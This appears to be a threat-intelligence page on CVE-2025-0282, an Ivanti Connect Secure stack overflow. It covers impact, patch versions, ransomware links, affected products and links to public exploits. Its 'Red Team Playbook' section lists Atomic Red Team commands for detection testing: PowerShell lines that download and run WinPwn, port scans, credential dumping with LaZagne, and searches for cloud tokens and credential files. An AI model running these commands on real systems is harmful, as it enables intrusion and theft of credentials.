CVE-2025-0282
Overview
This vulnerability is a stack-based buffer overflow caused by improper bounds checking in the clientCapabilities parameter handling within Ivanti Connect Secure and related products. The flaw arises from unsafe memory operations on the stack when processing specially crafted TLS requests. The affected component is the VPN gateway’s TLS request parser, which fails to validate input size, leading to memory corruption.
Vulnerability Description
A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2, and Ivanti Neurons for ZTA gateways before version 22.7R2.3 allows a remote unauthenticated attacker to achieve remote code execution.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with the privileges of the Ivanti Connect Secure service. This enables full compromise of the VPN gateway, allowing access to internal networks protected by the VPN infrastructure. The attacker can manipulate network traffic, intercept sensitive data, and move laterally within connected environments. No user interaction or credentials are required, increasing the severity of the threat to organizations relying on these VPN solutions.
Solution
Ivanti has released security advisories addressing this vulnerability, recommending immediate upgrade to Ivanti Connect Secure version 22.7R2.5 or later, Ivanti Policy Secure 22.7R1.2 or later, and Ivanti Neurons for ZTA gateways 22.7R2.3 or later. Detailed patch instructions and advisory information are available at Ivanti’s official security advisory page: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283. Users should apply these updates promptly to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A critical vulnerability has been identified within Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for Zero Trust Access gateways, specifically a stack-based buffer overflow. This flaw arises from improper handling of input data, allowing an attacker to overflow the stack memory. When an application fails to adequately validate or limit the size of input data, it can lead to overwriting adjacent memory, potentially allowing an attacker to execute arbitrary code. The affected versions of these products are prior to 22.7R2.5 for Connect Secure, 22.7R1.2 for Policy Secure, and 22.7R2.3 for Neurons for Zero Trust Access. The severity of this vulnerability is underscored by its high CVSS score of 9.0, indicating a critical risk to systems utilizing these products.
Attack vectors for exploiting this vulnerability are particularly concerning due to the potential for remote unauthenticated access. An attacker could leverage this flaw by sending specially crafted requests to the affected systems, which could lead to remote code execution. This means that an attacker does not need to authenticate or have prior access to the network, significantly lowering the barrier to entry for exploitation. Scenarios may include an attacker targeting a vulnerable system within a corporate network or even from an external location, depending on the network configuration. Successful exploitation could allow the attacker to gain control over the affected device, leading to unauthorized access to sensitive data or further infiltration into the network.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Ivanti's solutions for secure access and policy enforcement. The ability for an attacker to execute arbitrary code remotely can lead to severe business risks, including data breaches, loss of sensitive information, and disruption of services. Furthermore, the exploitation of this vulnerability could facilitate lateral movement within an organization’s network, allowing attackers to compromise additional systems and escalate their privileges. The reputational damage and financial implications of such incidents can be substantial, as organizations may face regulatory scrutiny and loss of customer trust.
To address this vulnerability, organizations must prioritize detection and mitigation strategies. Regularly updating and patching affected systems is crucial; organizations should ensure they are running the latest versions of Ivanti products that have addressed this vulnerability. Additionally, implementing network segmentation can help limit the exposure of vulnerable systems to potential attackers. Intrusion detection systems (IDS) and intrusion prevention systems (IPS) can also be deployed to monitor for unusual activity that may indicate an attempted exploitation of this vulnerability. Regular security assessments and penetration testing should be conducted to identify and remediate vulnerabilities before they can be exploited.
In conclusion, the stack-based buffer overflow vulnerability in Ivanti's products poses a significant threat to organizations utilizing these solutions. The potential for remote code execution by unauthenticated attackers necessitates immediate attention and action. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and mitigate the associated risks. Proactive measures, including timely updates and robust security practices, are essential to safeguarding sensitive data and maintaining the integrity of critical systems.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2025-0282, with new exploitation attempts emerging in the wild. Our telemetry indicates the first confirmed sighting of active exploitation, signaling that threat actors have moved from proof-of-concept testing to operational use. Additionally, the number of ransomware groups linked to this vulnerability has expanded, now including a newly identified actor alongside previously known groups such as Akira and Ransomhub. This broadening of adversary interest underscores the vulnerability’s attractiveness as a vector for initial access and lateral movement in ransomware campaigns. Although the EPSS score remains high, the slight downward trend suggests some variability in exploit attempts; however, the introduction of new ransomware actors and the sharp increase in detection activity elevate the overall threat level. Defenders should interpret these developments as an indication that CVE-2025-0282 is transitioning into an actively exploited, high-risk threat, warranting heightened vigilance and prioritization in vulnerability management programs.
Update 2 — June 19, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-0282, with telemetry indicating a doubling in exploit attempts over a short period. This surge coincides with the vulnerability’s recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog, underscoring its growing prominence as a target for threat actors. The EPSS score has risen further, nearing certainty of exploitation, reflecting increased attacker interest and operationalization. Notably, multiple new proof-of-concept exploits have emerged publicly, lowering the barrier for adversaries to weaponize this flaw. Concurrently, ransomware groups such as akira, ransomhub, and sinobi continue to be linked with campaigns leveraging this vulnerability, reinforcing its role as a preferred vector for initial access and lateral movement in ransomware operations. This convergence of factors elevates the threat level from high to critical, signaling that CVE-2025-0282 is transitioning into an actively exploited and prioritized risk. Defenders should interpret this as a clear indicator that exploitation attempts will likely intensify, necessitating urgent attention within vulnerability management and detection strategies.
Update 3 — July 09, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-0282, evidenced by a notable increase in telemetry activity. This uptick reflects growing adversary interest and operational momentum, coinciding with the continued public availability of multiple proof-of-concept exploits. The persistence of ransomware groups such as akira, ransomhub, and sinobi leveraging this vulnerability underscores its strategic value for initial access and lateral movement within compromised environments. Although the EPSS score remains near maximum and stable, the increased detection frequency signals a shift from theoretical risk to active exploitation. Consequently, the threat level associated with CVE-2025-0282 should be considered elevated to critical, emphasizing the urgency for defenders to prioritize detection and response efforts around this vulnerability.
Affected Products (11)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2.4:*:*:*:*:*:*
|
|
|
Ivanti | Neurons For Zero-Trust Access | 22.7 |
cpe:2.3:a:ivanti:neurons_for_zero-trust_access:22.7:r2:*:*:*:*:*:*
|
|
|
Ivanti | Neurons For Zero-Trust Access | 22.7 |
cpe:2.3:a:ivanti:neurons_for_zero-trust_access:22.7:r2.2:*:*:*:*:*:*
|
|
|
Ivanti | Neurons For Zero-Trust Access | 22.7 |
cpe:2.3:a:ivanti:neurons_for_zero-trust_access:22.7:r2.3:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | 22.7 |
cpe:2.3:a:ivanti:policy_secure:22.7:r1:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | 22.7 |
cpe:2.3:a:ivanti:policy_secure:22.7:r1.1:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | 22.7 |
cpe:2.3:a:ivanti:policy_secure:22.7:r1.2:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow
exploits/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457
|
Stephen Fewer, Christophe De La Fuente | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Ivanti Connect Secure 22.7R2.5 - Remote Code Execution (RCE) | Abdualhadi khalifa | remote | multiple | - | View |
GitHub PoCs (10)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
absholi7ly/CVE-2025-0282-Ivanti-exploit
CVE-2025-0282 is a critical vulnerability found in Ivanti Connect Secure, allowing Remote Command Execution (RCE) throug...
|
absholi7ly | 53 | 14 | 2025-01-11 | View |
|
sfewer-r7/CVE-2025-0282
PoC for CVE-2025-0282: A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Ivanti Poli...
|
sfewer-r7 | 50 | 11 | 2025-01-16 | View |
|
watchtowrlabs/CVE-2025-0282
Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
|
watchtowrlabs | 31 | 11 | 2025-01-15 | View |
|
Hexastrike/Ivanti-Connect-Secure-Logs-Parser
A Python script for examining Ivanti Secure Connect (ICS) event logs, designed to support investigations into vulnerabil...
|
Hexastrike | 5 | 1 | 2025-01-19 | View |
|
almanatra/CVE-2025-0282
Exploit for CVE-2025-0282: A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Ivanti ...
|
almanatra | 2 | 2 | 2025-01-22 | View |
|
AnonStorks/CVE-2025-0282-Full-version
# CVE-2025-0282: Remote Code Execution Vulnerability in [StorkS]
|
AnonStorks | 4 | 0 | 2025-01-12 | View |
|
punitdarji/Ivanti-CVE-2025-0282
Ivanti Remote code execution
|
punitdarji | 3 | 0 | 2025-03-10 | View |
|
rxwx/pulse-meter
Parses the System Snapshot from an Ivanti Connect Secure applicance to identify possible IOCs related to CVE-2023-46805,...
|
rxwx | 1 | 1 | 2025-01-14 | View |
|
AdaniKamal/CVE-2025-0282
Ivanti Connect Secure, Policy Secure & ZTA Gateways - CVE-2025-0282
|
AdaniKamal | 2 | 0 | 2025-01-28 | View |
|
gmh5225/Blackash-CVE-2025-0282
CVE-2025-0282
|
gmh5225 | 0 | 0 | 2025-06-08 | View |
Threat Feed
15 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (30 known victims)
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.